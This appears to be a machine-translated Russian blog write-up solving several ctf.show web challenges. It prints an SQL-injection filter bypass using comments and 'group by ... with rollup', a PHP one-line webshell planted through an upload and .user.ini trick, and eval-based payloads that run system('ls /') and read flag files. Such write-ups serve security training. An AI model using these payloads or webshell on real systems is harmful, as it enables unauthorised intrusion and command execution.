[вопрос конкурса ctf.show-web]


ctf.show_web10

Зайди на страницу это окно входа
вставьте сюда описание изображения

Нажмите кнопку отмены, появится исходный код

<?php
		$flag="";
        function replaceSpecialChar($strParam){
    
    
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
    
    
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
    
    
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
    
    
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
    
    
					while($row=mysqli_fetch_assoc($result)){
    
    
						if($password==$row['password']){
    
    
							echo "登陆成功<br>";
							echo $flag;
						}

					 }
			}
    ?>

Многие операторы инъекции были отфильтрованы.Group
by и with rollup в основном используются здесь для объединения
group by, не говоря уже о том, что это расположение, и по умолчанию используется восходящий порядок
с rollup (за group by может следовать with rollup, а это значит, что сводная статистика выполняется опять же на основе групповой статистики)
В результате будет лишняя строка, где столбец пароля нулевой, а count (*) - статистическая сумма.
Например:

select password,count(*) from test group by password with rollup;

Итак, мы конструируем полезную нагрузку:

username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=

Поскольку после добавления с помощью свертки пароль имеет строку NULL, нам нужно только ввести пустой пароль, чтобы сделать (NULL==NULL), /**/ используется для обхода пространственного фильтра

вставьте сюда описание изображения

Вы можете получить флаг
ctfshow {d89ccf86-5ac9-4429-95e0-ea40b0afba89}


Два, ctf.show_web11

Перейти на главную страницу
вставьте сюда описание изображения

Вы можете видеть, что код php имеет много ограничений.
Обратите внимание на способ получения флага $password==$_SESSION['password']. Пароль вводится нами. Пароль в сеансе хранится локально, поэтому нам нужно только ввести пустой пароль и удалить локальный сеанс для успешно обойти его.

вставьте сюда описание изображения

Получить флаг:
ctfshow{5f4e07ee-e7d9-4302-8b7d-f3eabfa0ed16}

3. ctf.show_web12

Перейти на главную страницу
вставьте сюда описание изображения

Сначала проверьте исходный код
вставьте сюда описание изображения

Присутствует переменная cmd подсказки, указывающая на то, что, вероятно, есть функция выполнения кода в фоновом режиме.Введите
phpinfo(); просмотрите информацию о конфигурации php
вставьте сюда описание изображения

Обнаружено, что многие методы выполнения команд отключены.Вы
также можете использовать highlight_file("index.php"); просмотреть исходный код
вставьте сюда описание изображения
Вот еще одна функция php glob();
функция glob() возвращает имя файла или каталог, который соответствует указанный узор.
например:

glob("*") 匹配任意文件
glob("*.txt")匹配以txt为后缀的文件

С помощью этого метода мы сначала узнаем все файлы в текущем каталоге, чтобы увидеть, доступны ли они. Input?cmd=print_r(glob("*")); распечатайте следующий файл
вставьте сюда описание изображения
, а затем прочитайте его

?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

вставьте сюда описание изображения

Получить флаг:
ctfshow{2eb6ffd3-82c8-4718-a528-9b251e5a31e9}

4. ctf.show_web13

Зайди на страницу
вставьте сюда описание изображения
и попробуй загрузить файл, но эффекта нет, найди скрытый каталог
вставьте сюда описание изображения

Найден upload.php, попробуйте upload.php.bak, чтобы получить файл с исходным кодом

<?php 
	header("content-type:text/html;charset=utf-8");
	$filename = $_FILES['file']['name'];
	$temp_name = $_FILES['file']['tmp_name'];
	$size = $_FILES['file']['size'];
	$error = $_FILES['file']['error'];
	$arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
	if ($size > 24){
    
    
		die("error file zise");
	}
	if (strlen($filename)>9){
    
    
		die("error file name");
	}
	if(strlen($ext_suffix)>3){
    
    
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){
    
    
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
    
    
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
    
    
		echo "文件上传成功!";
	}else{
    
    
		echo "文件上传失败!";
	}

 ?>

Получил исходный код и обнаружил, что размер ограничительного файла <=24, длина имени <=9, длина суффикса <=3, а имя и суффикс не могут иметь php, поэтому такого троянского коня можно
сконструировать

<?php eval($_POST['a']);

Из-за суффикса сначала загрузите файл 2.txt,
вставьте сюда описание изображения
а затем загрузите файл .user.ini.
.user.ini в php имеет следующее объяснение:
PHP будет искать имя файла в каждом каталоге, если для него задана пустая строка, PHP не будет искать, то есть если имя файла установлено в .user. ini, то любая страница будет содержать содержимое файла.
Вписываем auto_prepend_file=2.txt в .user.ini, чтобы все файлы в этой директории содержали содержимое 2.txt
//
После подключения муравьиного меча обнаруживаем, что нет разрешения на работу с файлом, поэтому мы непосредственно входим на веб-страницу Посмотрите вверх флаг.
Отправить с помощью POST

a=print_r(glob("*"));

Затем используйте highlight_file(), чтобы получить флаг

a=highlight_file("文件名");

5. Овощная чашка для собак

1. Веб-вход

зайти на страницу
вставьте сюда описание изображения

код

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-11-10 17:20:38
# @Last Modified by:   h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: [email protected]
# @link: https://ctfer.com

*/


error_reporting(0);
highlight_file(__FILE__);

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

Давно пытаюсь, это действительно вопрос входа? После прочтения wp большого парня, подведем итоги
расследования: взаимосвязь между методом запроса и назначением, а также китайская кодировка поля Cookie.

Основная причина — использование последнего однопредложного троянского коня, который имеет много вложенности, давайте рассмотрим его: во-
первых, самая внутренняя часть — это «CTFshow-QQ group:», а передняя — $_COOKIE, то есть 'CTFshow-QQ group' в куки берется значение,
затем, если мы передаем его в куки CTFshow-QQ群:=a, троянский конь с одним предложением становится:

eval($_REQUEST[$_GET[$_POST[a]]][6][0][7][5][8][0][9][4][4]);

Тогда $_POST[a] — это значение параметра a, которое будет передано POST, мы передадим его в a=b, тогда оно станет:

eval($_REQUEST[$_GET[b]][6][0][7][5][8][0][9][4][4]);

$_GET[b] — передать значение параметра b в режиме GET, а затем присвоить значение b, b=cчтобы получить:

eval($_REQUEST[c][6][0][7][5][8][0][9][4][4]);

$_REQUEST[c][6][0][7][5][8][0][9][4][4], который $_REQUESTможно запрашивать любым способом, c — это массив, а значение, переданное в запросе $_REQUEST, — это значение [6][0][7][5][8][0][9][4][4]ключа ID в массиве C. Поскольку массивы PHP могут присваивать значения ключам ID,
то мы можем напрямую присваивать значения этим ключам в массиве C:
c[6][0][7][5][8][0][9][4][4]= system('ls /');

Поэтому мы используем форму POST для отправки пакета, и обратите внимание “群”на использование кодировки URL %E7%BE%A4, иначе burp не распознает его (при присвоении значения c его можно разместить в заголовке запроса или в сущности запроса, потому что запрос метод запроса может быть в форме get или post. accept)

Здесь мне удобно использовать хакбар,
вставьте сюда описание изображения
поэтому получаем файл flagaaa, вводим команду cat /f1agaaaдля получения флага
вставьте сюда описание изображения
и получаем много

2.web2 c0me_t0_s1gn

Когда я зашел на страницу
вставьте сюда описание изображения
, мне подсказали, что есть информация, которую нужно найти. Я пытался использовать Yujian и dirsearch, чтобы найти каталог, но не смог найти. Исходный код страницы я видел позже.
вставьте сюда описание изображения
некоторая информация о флаге, и последовала конкретная подсказка на консоль.Он предложил
вставьте сюда описание изображения
метод операции, чтобы найти флаг, и
вставьте сюда описание изображения
нашел его после запуска.Информация во второй половине флага может быть объединена.

3. У меня в глазах только $

зайти на страницу
вставьте сюда описание изображения

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-11-10 17:20:38
# @Last Modified by:   h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: [email protected]
# @link: https://ctfer.com

*/


error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);

Вы можете видеть, что метод post используется для передачи параметров.Здесь мы изучаем вложенность переменных, ряд переменных $, начальная переменная должна быть _, поэтому нам нужно определить переменные по очереди, и назначить их команде оператор выполнения после его выполнения, system('ls /');и переменные не могут быть повторены

Я не умею писать сценарии, поэтому обратитесь к большому парню.

_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=A&A=B&B=C&C=D&D=E&E=F&F=G&G=H&H=I&I=system('ls /')

вставьте сюда описание изображения
Измените команду, чтобы получить флаг

вставьте сюда описание изображения


Подведем итог

Последующие действия продолжат делиться заметками ctfshow

рекомендация

отblog.csdn.net/qq_61872115/article/details/129690257